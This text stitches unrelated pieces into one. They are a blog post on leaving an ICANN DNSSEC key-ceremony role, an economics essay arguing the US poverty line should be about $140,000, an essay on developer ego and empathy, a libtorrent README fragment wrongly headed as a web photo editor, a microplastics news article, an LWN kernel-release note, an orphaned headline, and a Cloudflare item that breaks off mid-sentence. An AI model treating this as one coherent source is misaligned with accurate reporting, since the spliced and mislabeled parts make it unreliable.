who is now
Crypto Officer 4 for KMF-East. Lodrina is a security researcher,
an educator with an emphasis on digital forensics, and works in
security engineering at a large cloud provider. I'm honored to have
her as my successor.
I've had several people reach out to me to ask what prompted me to
step back from the ICANN volunteer work. Those who were hoping for
some kind of salacious dirt or scandal were sorely disappointed -
quite the opposite, this is a huge success story and I'm pleased to
have been able to do my small part. A direct cut and paste from Slack
logs with one of them follows:
What led you to step back from ICANN?
Several things:
It was understood to be a 5 year commitment. I've been doing it for more than 15.
It was broadly agreed among the cohort many years ago (over a decade ago) that more people from more diverse backgrounds than just DNS-old-boy-network (which was the original group of TCRs) was a Good Thing.
Many people cycled out earlier; I was happy to let the folks for whom travel was more odious go first. But it's only practical and only really good for the system to cycle out a single TCR per ceremony.
COVID delayed this. Kaminsky's untimely death and subsequent replacement as a recovery key shareholder (RKSH) delayed this.
A further delay was the AEP Keyper HSM getting abruptly EOLed, and the transition to the Thales Luna HSMs. It went off without a hitch after being researched, developed, and executed in 8 months - a record which I stand in awe of and which is a true testament to the skill and commitment of the ICANN PTI team. ICANN expressed the desire for continuity among long-serving COs past that milestone; Frederico Neves (fellow original Crypto Officer) and I were willing to extend our stay for that.
So in short it was time to pass the torch. Everyone has been doing
everything right. I remarked at the end of the Ceremony 59 that when we
started doing this 15 years ago, success was not guaranteed; it took
the Kaminsky bug to get us over the line to actually deploy it.
Today, the major Unix DNS resolvers ship with DNSSEC validation
enabled. All of the major public DNS resolvers (google, quad9,
cloudflare) do DNSSEC validation. I thanked everyone who has been
responsible for and put their personal credibility on the line for the
security, integrity, and credibility of this process and stated that I
was honored to have been able to play a small part in doing that.
Epilogue:
I won't be participating in most East Coast ceremonies from here on out, but I don't rule out occasionally showing up as an external witness, particularly at KMF-West where I have never visited in person.
Here scans of our ceremony scripts from both Ceremony 59 and the previous day's administrative ceremonies.
We’re going to largely skip markets again, because the sweater is rapidly unraveling in other areas as I pull on threads. Suffice it to say that the market is LARGELY unfolding as I had expected — credit stress is rising, particularly in the tech sector. Many are now pointing to the rising CDS for Oracle as the deterioration in “AI” balance sheets accelerates. CDS was also JUST introduced for META — it traded at 56, slightly worse than the aggregate IG CDS at 54.5 (itself up from 46 since I began discussing this topic):
Correlations are spiking as MOST stocks move in the same direction each day even as megacap tech continues to define the market aggregates:
Market pricing of correlation is beginning to pick up… remember this is the “real” fear index and the moving averages are trending upwards:
And, as I predicted, inflation concerns, notably absent from any market-based indication, are again freezing the Fed. The pilots are frozen, understanding that they are in Zugzwang — every choice has unfavorable options.
And so now, let’s tug on that loose thread… I’m sure many of my left-leaning readers will say, “This is obvious, we have been talking about it for YEARS!” Yes, many of you have; but you were using language of emotion (“Pay a living wage!”) rather than showing the math. My bad for not paying closer attention; your bad for not showing your work or coming up with workable solutions. Let’s rectify it rather than cast blame.
I have spent my career distrusting the obvious.
Markets, liquidity, factor models—none of these ever felt self-evident to me. Markets are mechanisms of price clearing. Mechanisms have parameters. Parameters distort outcomes. This is the lens through which I learned to see everything: find the parameter, find the distortion, find the opportunity.
But there was one number I had somehow never interrogated. One number that I simply accepted, the way a child accepts gravity.
The poverty line.
I don’t know why. It seemed apolitical, an actuarial fact calculated by serious people in government offices. A line someone else drew decades ago that we use to define who is “poor,” who is “middle class,” and who deserves help. It was infrastructure—invisible, unquestioned, foundational.
This week, while trying to understand why the American middle class feels poorer each year despite healthy GDP growth and low unemployment, I came across a sentence buried in a research paper:
“The U.S. poverty line is calculated as three times the cost of a minimum food diet in 1963, adjusted for inflation.”
I read it again. Three times the minimum food budget.
I felt sick.
The formula was developed by Mollie Orshansky, an economist at the Social Security Administration. In 1963, she observed that families spent roughly one-third of their income on groceries. Since pricing data was hard to come by for many items, e.g. housing, if you could calculate a minimum adequate food budget at the grocery store, you could multiply by three and establish a poverty line.
Orshansky was careful about what she was measuring. In her January 1965 article, she presented the poverty thresholds as a measure of income
inadequacy
, not income adequacy—”if it is not possible to state unequivocally ‘how much is enough,’ it should be possible to assert with confidence how much, on average, is too little.”
She was drawing a floor. A line below which families were clearly in crisis.
For 1963, that floor made sense. Housing was relatively cheap. A family could rent a decent apartment or buy a home on a single income, as we’ve discussed. Healthcare was provided by employers and cost relatively little (Blue Cross coverage averaged $10/month). Childcare didn’t really exist as a market—mothers stayed home, family helped, or neighbors (who likely had someone home) watched each other’s kids. Cars were affordable, if prone to breakdowns. With few luxury frills, the neighborhood kids in vo-tech could fix most problems when they did. College tuition could be covered with a summer job. Retirement meant a pension income, not a pile of 401(k) assets you had to fund yourself.
Orshansky’s food-times-three formula was crude, but as a
crisis
threshold—a measure of “too little”—it roughly corresponded to reality. A family spending one-third of its income on food would spend the other two-thirds on everything else, and those proportions more or less worked. Below that line, you were in genuine crisis. Above it, you had a fighting chance.
But everything changed between 1963 and 2024.
Housing costs exploded. Healthcare became the largest household expense for many families. Employer coverage shrank while deductibles grew. Childcare became a market, and that market became ruinously expensive. College went from affordable to crippling. Transportation costs rose as cities sprawled and public transit withered under government neglect.
The labor model shifted. A second income became mandatory to maintain the standard of living that one income formerly provided. But a second income meant childcare became mandatory, which meant two cars became mandatory. Or maybe you’d simply be “asking for a lot generationally speaking” because living near your parents helps to defray those childcare costs.
The composition of household spending transformed completely. In 2024, food-at-home is no longer 33% of household spending. For most families, it’s 5 to 7 percent.
Housing now consumes 35 to 45 percent. Healthcare takes 15 to 25 percent. Childcare, for families with young children, can eat 20 to 40 percent.
If you keep Orshansky’s logic—if you maintain her principle that poverty could be defined by the inverse of food’s budget share—but update the food share to reflect today’s reality, the multiplier is no longer three.
It becomes sixteen.
Which means if you measured income inadequacy today the way Orshansky measured it in 1963, the threshold for a family of four wouldn’t be $31,200.
It would be somewhere between $130,000 and $150,000.
And remember: Orshansky was only trying to define “too little.” She was identifying crisis, not sufficiency. If the crisis threshold—the floor below which families cannot function—is honestly updated to current spending patterns, it lands at $140,000.
What does that tell you about the $31,200 line we still use?
It tells you we are measuring starvation.
“An imbalance between rich and poor is the oldest and most fatal ailment of all republics.” — Plutarch
The official poverty line for a family of four in 2024 is $31,200. The median household income is roughly $80,000. We have been told, implicitly, that a family earning $80,000 is doing fine—safely above poverty, solidly middle class, perhaps comfortable.
But if Orshansky’s crisis threshold were calculated today using her own methodology, that $80,000 family would be living in deep poverty.
I wanted to see what would happen if I ignored the official stats and simply calculated the cost of existing. I built a Basic Needs budget for a family of four (two earners, two kids). No vacations, no Netflix, no luxury. Just the “Participation Tickets” required to hold a job and raise kids in 2024.
Using conservative, national-average data:
Childcare: $32,773
Housing: $23,267
Food: $14,717
Transportation: $14,828
Healthcare: $10,567
Other essentials: $21,857
Required net income: $118,009
Add federal, state, and FICA taxes of roughly $18,500, and you arrive at a required gross income of $136,500.
This is Orshansky’s “too little” threshold, updated honestly. This is the floor.
The single largest line item isn’t housing. It’s childcare: $32,773.
This is the trap. To reach the median household income of $80,000, most families require two earners. But the moment you add the second earner to chase that income, you trigger the childcare expense.
If one parent stays home, the income drops to $40,000 or $50,000—well below what’s needed to survive. If both parents work to hit $100,000, they hand over $32,000 to a daycare center.
The second earner isn’t working for a vacation or a boat. The second earner is working to pay the stranger watching their children so they can go to work and clear $1-2K extra a month. It’s a closed loop.
Critics will immediately argue that I’m cherry-picking expensive cities. They will say $136,500 is a number for San Francisco or Manhattan, not “Real America.”
So let’s look at “Real America.”
The model above allocates $23,267 per year for housing. That breaks down to $1,938 per month. This is the number that serious economists use to tell you that you’re doing fine.
In my last piece,
Are You An American?
, I analyzed a modest “starter home” which turned out to be in Caldwell, New Jersey—the kind of place a Teamster could afford in 1955. I went to Zillow to see what it costs to live in that same town if you don’t have a down payment and are forced to rent.
There are exactly seven 2-bedroom+ units available in the entire town. The cheapest one rents for $2,715 per month.
That’s a $777 monthly gap between the model and reality. That’s $9,300 a year in post-tax money. To cover that gap, you need to earn an additional $12,000 to $13,000 in gross salary.
So when I say the real poverty line is $140,000, I’m being conservative. I’m using optimistic, national-average housing assumptions. If we plug in the actual cost of living in the zip codes where the jobs are—where rent is $2,700, not $1,900—the threshold pushes past $160,000.
The market isn’t just expensive; it’s broken. Seven units available in a town of thousands? That isn’t a market. That’s a shortage masquerading as an auction.
And that $2,715 rent check buys you zero equity. In the 1950s, the monthly housing cost was a forced savings account that built generational wealth. Today, it’s a subscription fee for a roof. You are paying a premium to stand still.
Economists will look at my $140,000 figure and scream about “hedonic adjustments.” Heck, I will scream at you about them. They are valid attempts to measure the improvement in quality that we honestly value.
I will tell you that comparing 1955 to 2024 is unfair because cars today have airbags, homes have air conditioning, and phones are supercomputers. I will argue that because the quality of the good improved, the real price dropped.
And I would be making a category error. We are not calculating the price of luxury. We are calculating the price of participation.
To function in 1955 society—to have a job, call a doctor, and be a citizen—you needed a telephone line. That “Participation Ticket” cost $5 a month.
Adjusted for standard inflation, that $5 should be $58 today.
But you cannot run a household in 2024 on a $58 landline. To function today—to factor authenticate your bank account, to answer work emails, to check your child’s school portal (which is now digital-only)—you need a smartphone plan and home broadband.
The cost of that “Participation Ticket” for a family of four is not $58. It’s $200 a month.
The economists say, “But look at the computing power you get!”
I say, “Look at the computing power I
need
!”
The utility I’m buying is “connection to the economy.” The price of that utility didn’t just keep pace with inflation; it tripled relative to it.
I ran this “Participation Audit” across the entire 1955 budget. I didn’t ask “is the car better?” I asked “what does it cost to get to work?”
Healthcare: In 1955, Blue Cross family coverage was roughly $10/month ($115 in today’s dollars). Today, the average family premium is over $1,600/month. That’s 14x inflation.
Taxes (FICA): In 1955, the Social Security tax was 2.0% on the first $4,200 of income. The maximum annual contribution was $84. Adjusted for inflation, that’s about $960 a year. Today, a family earning the median $80,000 pays over $6,100. That’s 6x inflation.
Childcare: In 1955, this cost was zero because the economy supported a single-earner model. Today, it’s $32,000. That’s an infinite increase in the cost of participation.
The only thing that actually tracked official CPI was… food. Everything else—the inescapable fees required to hold a job, stay healthy, and raise children—inflated at multiples of the official rate when considered on a participation basis. YES, these goods and services are BETTER. I would not trade my 65” 4K TV mounted flat on the wall for a 25” CRT dominating my living room; but I don’t have a choice, either.
Once I established that $136,500 is the real break-even point, I ran the numbers on what happens to a family climbing the ladder toward that number.
What I found explains the “vibes” of the economy better than any CPI print.
Our entire safety net is designed to catch people at the very bottom, but it sets a trap for anyone trying to climb out. As income rises from $40,000 to $100,000, benefits disappear faster than wages increase.
I call this The Valley of Death.
Let’s look at the transition for a family in New Jersey:
1. The View from $35,000 (The “Official” Poor)
At this income, the family is struggling, but the state provides a floor. They qualify for Medicaid (free healthcare). They receive SNAP (food stamps). They receive heavy childcare subsidies. Their deficits are real, but capped.
2. The Cliff at $45,000 (The Healthcare Trap)
The family earns a $10,000 raise. Good news? No. At this level, the parents lose Medicaid eligibility. Suddenly, they must pay premiums and deductibles.
Income Gain: +$10,000
Expense Increase: +$10,567
Net Result: They are poorer than before. The effective tax on this mobility is over 100%.
3. The Cliff at $65,000 (The Childcare Trap)
This is the breaker. The family works harder. They get promoted to $65,000. They are now solidly “Working Class.”
But at roughly this level, childcare subsidies vanish. They must now pay the full market rate for daycare.
Income Gain: +$20,000 (from $45k)
Expense Increase: +$28,000 (jumping from co-pays to full tuition)
Net Result: Total collapse.
When you run the net-income numbers, a family earning $100,000 is effectively in a worse monthly financial position than a family earning $40,000.
At $40,000, you are drowning, but the state gives you a life vest. At $100,000, you are drowning, but the state says you are a “high earner” and ties an anchor to your ankle called “Market Price.”
In option terms, the government has sold a call option to the poor, but they’ve rigged the gamma. As you move “closer to the money” (self-sufficiency), the delta collapses. For every dollar of effort you put in, the system confiscates 70 to 100 cents.
No rational trader would take that trade. Yet we wonder why labor force participation lags. It’s not a mystery. It’s math.
The most dangerous lie of modern economics is “Mean Reversion.” Economists assume that if a family falls into debt or bankruptcy, they can simply save their way back to the average.
They are confusing Volatility with Ruin.
Falling below the line isn’t like cooling water; it’s like freezing it. It is a Phase Change.
When a family hits the barrier—eviction, bankruptcy, or default—they don’t just have “less money.” They become Economically Inert.
They are barred from the credit system (often for 7–10 years).
They are barred from the prime rental market (landlord screens).
They are barred from employment in sensitive sectors.
In physics, it takes massive “Latent Heat” to turn ice back into water. In economics, the energy required to reverse a bankruptcy is exponentially higher than the energy required to pay a bill.
The $140,000 line matters because it is the buffer against this Phase Change. If you are earning $80,000 with $79,000 in fixed costs, you are not stable. You are super-cooled water. One shock—a transmission failure, a broken arm—and you freeze instantly.
If you need proof that the cost of participating, the cost of
working,
is the primary driver of this fragility, look at the Covid lockdowns.
In April 2020, the US personal savings rate hit a historic 33%. Economists attributed this to stimulus checks. But the math tells a different story.
During lockdown, the “Valley of Death” was temporarily filled.
Childcare ($32k): Suspended. Kids were home.
Commuting ($15k): Suspended.
Work Lunches/Clothes ($5k): Suspended.
For a median family, the “Cost of Participation” in the economy is roughly $50,000 a year. When the economy stopped, that tax was repealed. Families earning $80,000 suddenly felt rich—not because they earned more, but because the leak in the bucket was plugged. For many, income actually rose thanks to the $600/week unemployment boost. But even for those whose income stayed flat, they felt rich because many costs were avoided.
When the world reopened, the costs returned, but now inflated by 20%. The rage we feel today is the hangover from that brief moment where the American Option was momentarily back in the money. Those with formal training in economics have dismissed these concerns, by and large. “Inflation” is the rate of change in the price level; these poor, deluded souls were outraged at the price LEVEL. Tut, tut… can’t have deflation now, can we? We promise you will like THAT even less.
But the price level does mean something, too. If you are below the ACTUAL poverty line, you are suffering constant deprivation; and a higher price level means you get even less in aggregate.
You load sixteen tons, what do you get?
Another day older and deeper in debt
Saint Peter, don’t you call me, ‘cause I can’t go
I owe my soul to the company store — Merle Travis, 1946
This mathematical valley explains the rage we see in the American electorate, specifically the animosity the “working poor” (the middle class) feel toward the “actual poor” and immigrants.
Economists and politicians look at this anger and call it racism, or lack of empathy. They are missing the mechanism.
Altruism is a function of surplus. It is easy to be charitable when you have excess capacity. It is impossible to be charitable when you are fighting for the last bruised banana.
The family earning $65,000—the family that just lost their subsidies and is paying $32,000 for daycare and $12,000 for healthcare deductibles—is hyper-aware of the family earning $30,000 and getting subsidized food, rent, childcare, and healthcare.
They see the neighbor at the grocery store using an EBT card while they put items back on the shelf. They see the immigrant family receiving emergency housing support while they face eviction.
They are not seeing “poverty.” They are seeing people getting for free the exact things that they are working 60 hours a week to barely afford. And even worse, even if THEY don’t see these things first hand… they are being shown them:
The anger isn’t about the goods. It’s about the breach of contract. The American Deal was that Effort ~ Security. Effort brought your Hope strike closer. But because the real poverty line is $140,000, effort no longer yields security or progress; it brings risk, exhaustion, and debt.
When you are drowning, and you see the lifeguard throw a life vest to the person treading water next to you—a person who isn’t swimming as hard as you are—you don’t feel happiness for them. You feel a homicidal rage at the lifeguard.
We have created a system where the only way to survive is to be destitute enough to qualify for aid, or rich enough to ignore the cost. Everyone in the middle is being cannibalized. The rich know this… and they are increasingly opting out of the shared spaces:
If you need visual proof of this benchmark error, look at the charts that economists love to share on social media to prove that “vibes” are wrong and the economy is great.
You’ve likely seen this chart. It shows that the American middle class is shrinking not because people are getting poorer, but because they’re “moving up” into the $150,000+ bracket.
The economists look at this and cheer. “Look!” they say. “In 1967, only 5% of families made over $150,000 (adjusted for inflation). Now, 34% do! We are a nation of rising aristocrats.”
But look at that chart through the lens of the real poverty line.
If the cost of basic self-sufficiency for a family of four—housing, childcare, healthcare, transportation—is $140,000, then that top light-blue tier isn’t “Upper Class.”
It’s the Survival Line.
This chart doesn’t show that 34% of Americans are rich. It shows that only 34% of Americans have managed to escape deprivation. It shows that the “Middle Class” (the dark blue section between $50,000 and $150,000)—roughly 45% of the country—is actually the Working Poor. These are the families earning enough to lose their benefits but not enough to pay for childcare and rent. They are the ones trapped in the Valley of Death.
But the commentary tells us something different:
“Americans earned more for several reasons. The first is that neoliberal economic policies
worked as intended
. In the last 50 years, there have been big increases in productivity, solid GDP growth and, since the 1980s, low and predictable inflation. All this helped make most Americans richer.”
“
neoliberal economic policies
worked as intended
” —
read that again. With
POSIWID
(the purpose of a system is what it does) in mind.
The chart isn’t measuring prosperity. It’s measuring inflation in the non-discretionary basket. It tells us that to live a 1967 middle-class life in 2024, you need a “wealthy” income.
And then there’s this chart, the shield used by every defender of the status quo:
Poverty has collapsed to 11%. The policies worked as intended!
But remember Mollie Orshansky. This chart is measuring the percentage of Americans who cannot afford a minimum food diet multiplied by three.
It’s not measuring who can afford rent (which is up 4x relative to wages). It’s not measuring who can afford childcare (which is up infinite percent). It’s measuring starvation.
Of course the line is going down. We are an agricultural superpower who opened our markets to even cheaper foreign food. Shrimp from Vietnam, tilapia from… don’t ask. Food is cheap. But life is expensive.
When you see these charts, don’t let them gaslight you. They are using broken rulers to measure a broken house. The top chart proves that you need $150,000 to make it. The bottom chart proves they refuse to admit it.
So that’s the trap. The real poverty line—the threshold where a family can afford housing, healthcare, childcare, and transportation without relying on means-tested benefits—isn’t $31,200.
It’s ~$140,000.
Most of my readers will have cleared this threshold. My parents never really did, but I was born lucky — brains, beauty (in the eye of the beholder admittedly), height (it really does help), parents that encouraged and sacrificed for education (even as the stress of those sacrifices eventually drove my mother clinically insane), and an American citizenship. But most of my readers are now seeing this trap for their children.
And the system is designed to prevent them from escaping. Every dollar you earn climbing from $40,000 to $100,000 triggers benefit losses that exceed your income gains. You are literally poorer for working harder.
The economists will tell you this is fine because you’re building wealth. Your 401(k) is growing. Your home equity is rising. You’re richer than you feel.
Next week, I’ll show you why that’s wrong. And THEN we can’t start the discussion of how to rebuild. Because we can.
The wealth you’re counting on—the retirement accounts, the home equity, the “nest egg” that’s supposed to make this all worthwhile—is just as fake as the poverty line. But the humans behind that wealth are real. And they are amazing.
A Unified Theory of Ego, Empathy, and Humility at Work
In our daily lives empathy and humility are obvious virtues we aspire to. They keep our egos in check. Less obvious is that they’re practical skills in the workplace, too. I think, for developers and technical leaders in particular, that the absence of ego is the best way to further our careers and do great work.
In
the simplest of terms
the ego is the characteristic of personhood that enables us to practice self-reflection, self-awareness, and accountability for the actions or decisions we take.
However, the ego also motivates us to reframe our perception of the world in whatever way keeps us centered in it. Each of us is perpetually driven to justify our place in the world. This
constant self-justification
is like an engine that idles for our entire lives, and it requires constant fine-tuning. When it runs amok this is what we call a “big” ego.
Breaking News! Developers Have Egos!
I’m not thinking only of the 10x engineer stereotype, although I’ve worked with such folks in the past. Ego is more nuanced than that. Besides the most arrogant developer in the room throwing their weight around, our egos manifest in hundreds of ways that are much harder to detect.
As developers we’re more susceptible to letting our egos run free. The nature of our work is so technical that to others it can seem obscure, arcane, or even magical. Sometimes we don’t do enough to actively dispel that notion—and just like that half the work of self-justification is already done for us.
Very often it’s not intentional. The simplest example is the overuse of jargon and acronyms. We all do it, but as
Jeremy Keith explains
:
Still, I get why initialisms run rampant in technical discussions. You can be sure that most discussions of particle physics would be incomprehensible to outsiders, not necessarily because of the concepts, but because of the terminology.
Simply mashing a few letters together can be empowering for ourselves while being exclusionary for others. It’s an artifact—albeit a small one—of our egos. We know what the technobabble means. Our justified place in the universe is maintained.
Sometimes we express our egos more deliberately. Developers have a clear tendency towards gatekeeping. For most, it’s an honest mistake. There’s a fine line between holding others to a certain expectation versus actively keeping people on the outside. When we see ourselves doing this we can correct it easily enough.
Sadly there are developers who seemingly like to gatekeep. They get to feel like wizards in their towers with their dusty books and potions. But, it’s actually self-limiting. Gatekeeping by definition means you’re fixed in place and never moving, standing guard for eternity.
My point is our egos can “leak” in so many ways that it takes diligence to catch it let alone correct it. The following is a short, incomplete list of typical statements we as developers might say or hear at work. If you parse them more precisely each one is an attempt at self-justification:
“That’s the way we’ve always done it.”
“It’s not that complicated! You just…”
“Yeah, I should be able to finish this in a day.”
“This legacy codebase is an absolute disaster.”
“Assign it to me. Nobody else will be able to fix it.”
“You can’t be a senior dev. You don’t know anything about…”
“Ugh, our morning standup is so useless.”
“This feature is too important to assign to the junior dev.”
“We should start using this new tool in our pipeline.”
“We should never use that new tool in our pipeline.”
Everything Is Bigger Than You
The ego is concerned with the self but very easily becomes something harmful in the absence of new information or context. Indeed, the ego nudges us to self-justify so much that one could argue it actively
resists
new information when left unchecked.
You may have read one of the example statements above with some familiarity and thought, “But what if I’m right?”
To which I’d say: OK, but should that be your default stance? Why might you feel the need to immediately start a conversation with a self-justification? There are ways to adjust our approach, make our points, and accept new information all at the same time.
In any interaction—be it a meeting, Slack thread, or water cooler conversation—we must remember that
the matter at hand is bigger than us in ways we don’t yet understand
.
To make these concepts more actionable I find it simpler to define them in terms of the purposes they serve. Specifically…
Empathy is how we
gather new information
.
Humility is how we
allow information to change our behavior
.
This framing also helps remind us what empathy and humility
are not
. It’s not about putting yourself in another’s shoes, as the saying goes. It’s not about being submissive or a pushover. It’s not about altruism or self-sacrifice. We can easily practice empathy and humility without it ever being at our own expense.
The Pursuit Of Information
I don’t know about you but I go to work to solve problems, be creative, and build shit. I can’t think of a single instance where an unruly ego solved anything I’ve worked on. Ego just makes an existing challenge worse. Solutions require information I don’t have yet.
Empathy and humility are usually top of mind during situations of pain or distress, but they’re really aspects of emotional intelligence that should be activated at all times. Once you adjust your mindset to treat them as basic tools for the
pursuit of information
you’ll see opportunities to leverage them everywhere.
Developers can apply this mindset with almost anybody they come into contact with. Fellow developers, naturally. But also less technical teammates (e.g., QAs, designers, product owners, stakeholders) who have their own unique skills and context that our success depends on. And of course our users should be at the center of every problem we’re working to solve. Lastly, even executives and upper management have some insight to offer if you dare (
but only up to a certain point
).
“Be Curious, Not Judgmental”
I’ve been waiting years for a chance to work
Ted Lasso
into one of my essays. Today’s the day, readers.
The titular character is such an archetype for leadership that my jaw hit the floor when I first watched the show. The example Ted sets has spawned
countless think pieces about leadership and management
. Suffice it to say he exhibits all of my principles over the series’ 34 episodes. He’s empathy and humility sporting a mustache. He’s the absence of ego personified.
I highly recommend watching the show but to get a taste this 5 minute clip is worth your time. This is the famous “darts scene”…
There’s a common and derisive attitude that qualities like empathy or humility are signs of weakness. You have to get all up in your feelings. Ew! But they require enormous reserves of strength, patience, and determination. It’s those who follow their egos who are weak.
Letting your ego take control is the easiest thing in the world. Just ask any toddler throwing a temper tantrum. Resisting those impulses and remaining calm, on the other hand, has been a virtue humanity has aspired to for thousands of years. As the Roman emperor and
Stoic
philosopher
Marcus Aurelius
wrote: “The nearer a man comes to a calm mind, the closer he is to strength.”
You’re Neither Ted Lasso Nor A Roman Emperor
The practice of empathy, humility, and keeping your ego in check will
test you daily
. The feedback I’ve received the most from my coworkers is that I’m extraordinarily calm and even-keeled in any situation—even situations where I’d be right to freak out.
Is that just naturally my personality? Maybe in part, but
remaining calm is a choice
. I’m actively choosing to favor solutions over my own ego. To my colleagues past and present I confess to you now that any time you’ve seen me calm, cool, and collected I was very likely
internally screaming
.
If this sounds like a lot of work you might be wondering if it’s worth it. I think it is. At the very least your coworkers and colleagues will like you better. That’s no small thing.
In all seriousness, the positive feedback I get most about the developers I manage is when they’ve demonstrated empathy and humility while dialing back their egos. This is because they’re people we can work with—literally. Nobody wants to work with a narcissist or a rock star. Nobody is materially impressed by
how many lines of code we wrote
, or how fast we wrote it.
When people want to work with us—or even look forward to it—that means we have trust and respect. We’ll be on proper footing for working effectively as a group to solve problems. For developers this looks like coaching a junior developer, hopping on a quick call to pair with somebody, or understanding the business value of the next backlog item. For leaders this looks like people who feel empowered to do their work, who can proactively identify issues, or who can rally and adapt when circumstances change.
Anybody can do this! I can’t think of any other career advice that’s as universal as empathy and humility. Everybody is capable of, at any point in their lives, small yet impactful improvements.
So remember—watch your ego and look for opportunities to leverage empathy and humility in the pursuit of information so that you can solve problems together.
In
my next essay on this subject
I’ll get into the practical. What I like about this advice is that, while there’s much we can do, we don’t have to do it all to see some benefit. We can pick and choose and try something out. We can take your time and grow. Nobody’s perfect, not even Ted Lasso. Even if we take after a character like
Roy Kent
we can still call that a win. Just watch the show, OK?
An open-source photo editor & digital compositor for the web
GNU GPL, see COPYING. "libtorrent/src/utils/sha_fast.{cc,h}" is
originally from the Mozilla NSS and is under a triple license; MPL,
LGPL and GPL. An exception to non-NSS code has been added for linking to OpenSSL as requested by Debian, though the author considers that library to be part of the Operative System and thus linking is allowed according to the GPL.
Use whatever fits your purpose, the code required to compile with
Mozilla's NSS implementation of SHA1 has been retained and can be
compiled if the user wishes to avoid using OpenSSL.
DEPENDENCIES
libcurl >= 7.12.0
libtorrent = (same version)
ncurses
BUILD DEPENDENCIES
libtoolize
aclocal
autoconf
autoheader
automake
'Invisible' microplastics spread in skies as global pollutant
Minuscule airborne plastic particles are spreading to all corners of the planet, penetrating deep into human bodies and sparking alarm among researchers of the relatively new subject matter.
Studies are shedding light on the origins, transport mechanisms and impact of these pollutant microplastics, which are too small to be seen with the naked eye.
They have been found in skies above Mount Fuji, in European rain, Arctic snow and within human bodies. These byproducts of human activity could also be fueling extreme weather conditions.
“Marine microplastic pollution has drawn so much attention that the ocean has been assumed as the final destination for microplastics, but recent studies indicate that airborne plastic pollution is spreading at an alarming rate,” said Hiroshi Okochi, a Waseda University professor of environmental chemistry.
Okochi leads a research team that has been studying airborne microplastics since 2017 and was the first to show that the pollutants had made their way into cloud water.
According to studies conducted on how plastic waste is damaging marine creatures and the ocean environment, plastic litter that flows into seas degrades into “marine microplastics,” which measure 5 millimeters or less in particle size.
By contrast, few studies are available on “airborne microplastics,” most of which measure less than 2.5 micrometers (0.0025 millimeter) across.
One study published in 2016 found plastics in fiber form in rainwater in Paris, showing that plastic particles were wafting in the air.
Okochi’s team in 2023 published a study that showed water in clouds covering the top of Mount Fuji contained 6.7 pieces of microplastics per liter.
Airborne microplastics travel in different manners at different altitudes.
In the free troposphere, an atmospheric layer extending above an altitude of 2,000 to 2,500 meters, substances are transported intercontinentally over long distances by prevailing westerly winds and other air currents. They are rarely affected by things on the ground.
The microplastic particles found above 3,776-meter-tall Mount Fuji where clouds can form were carried far from their sources, Okochi’s team said.
POSSIBLE CAUSE OF TORRENTIAL DOWNPOURS
According to one theory, when a large-scale atmospheric depression forms and generates ascending air currents, ground-based and seaborne microplastics are swirled up by the wind and sea spray and carried high up into the skies.
Once in the free troposphere, strong winds push the microplastics to higher levels and at enormous speeds, polluting the layer.
A team of scientists from Germany and Switzerland reported that they had found more than 10,000 pieces of microplastics per liter of snow in the Arctic. They said such microplastics are likely traveling over long distances in the air and being deposited with snow.
Microplastics may even be inducing cloud formation.
Clouds naturally form when dust serves as nuclei for water vapor to condense on. Typical ingredients of plastic products, such as polyethylene and polypropylene, naturally repel water.
Microplastics, however, change in chemical structure and obtain hydrophilicity, or affinity for water, when they are degraded by ultraviolet rays.
That likely facilitates cloud formation through vapor condensation, Okochi said.
Some experts say microplastics could be causing sudden torrential downpours and other extreme weather phenomena.
Studies have also found that microplastics, when degraded by ultraviolet rays, emit greenhouse gases, such as methane and carbon dioxide.
PLASTICS ENTERING LUNGS
Although plastics have been found in various regions of the human body, it is not yet known what impact the airborne substances have on health.
Airborne microplastic particles measuring 1 micrometer (0.001 millimeter) or less in size are believed capable of reaching the alveoli of the lung.
A study conducted in Britain said microplastics were detected in 11 of 13 lung tissue samples from patients who underwent lung surgeries. The highest levels were found in the lowermost region of the lung.
A human breathes more than 20,000 times a day, which adds up to 600 million to 700 million times throughout a lifetime.
There is no standard method for measuring airborne microplastics, so estimated amounts being inhaled by humans vary wildly from one research article to another.
Okochi said he hopes to develop a unified method for measuring the shapes, types, sizes and concentrations of airborne plastics so researchers across the globe can use it in their observations.
“We inevitably end up inhaling airborne microplastics without knowing it because the pollution they are causing is invisible,” Okochi said. “So little is clearly known about their possible impact on health and the environment, which is only beginning to be discussed. There should be more fact-finding studies on the matter.”
HOPES ON FOREST ADSORPTION
Airborne microplastics come from various sources, including road dust, tire abrasions, artificial turf and clothing.
Effective measures to reduce exposure include avoiding the use of synthetic fiber clothes and washing clothes in mesh laundry bags to prevent the garments from rubbing together.
In the larger picture, society could reflect on whether certain plastic products in close surroundings are really necessary or could be replaced with non-plastic materials.
For airborne plastics that are too small to be visible, absorption by forests is drawing attention as a hopeful measure.
A group of researchers, including Okochi and scientists from Japan Women’s University, found that “konara” oak leaves adsorb airborne plastics through “epicuticular wax,” a coating layer on the leaf surface that defends the tissue from ultraviolet rays and external enemies.
Konara forests in Japan can absorb an estimated 420 trillion pieces of airborne microplastics a year, Okochi said,
His team is now studying the use of fast-growing paulownia trees to fight the airborne microplastics.
There are hopes this tree variety can address other environmental problems. The trees absorb large volumes of carbon dioxide and can be used to absorb radioactive substances in the soil in Fukushima Prefecture, the site of the 2011 nuclear disaster.
“Planting the trees on the roadside could help reduce inhalation by humans,” Okochi said. “We hope to pursue the potential of this new emissions reduction measure using fast-growing paulownia trees to lower the risk of human exposure.”
Kernel prepatch 6.18-rc7
Linux Weekly News
lwn.net
2025-11-24 00:10:02
Linus has released 6.18-rc7, probably the
last -rc before the 6.18 release.
So the rc6 kernel wasn't great: we had a last-minute core VM
regression that caused people problems.
That's not a great thing late in the release cycle like that, but
it was a fairly trivial fix, and the cause wasn't ...
Linus has released
6.18-rc7
, probably the
last -rc before the 6.18 release.
So the rc6 kernel wasn't great: we had a last-minute core VM
regression that caused people problems.
That's not a great thing late in the release cycle like that, but
it was a fairly trivial fix, and the cause wasn't some horrid bug,
just a latent gotcha that happened to then bite a late VM fix. So
while not great, it also doesn't make me worry about the state of
6.18. We're still on track for a final release next weekend unless
some big new problem rears its ugly head.
Doge 'doesn't exist' with eight months left on its charter
Before the potential of the internet was appreciated around the world, nations that understood its importance managed to scoop outsized allocations of IPv4 addresses, actions that today mean many users in the rest of the world are more likely to find their connections throttled or blocked.
So says Cloudflare, which last week published
research
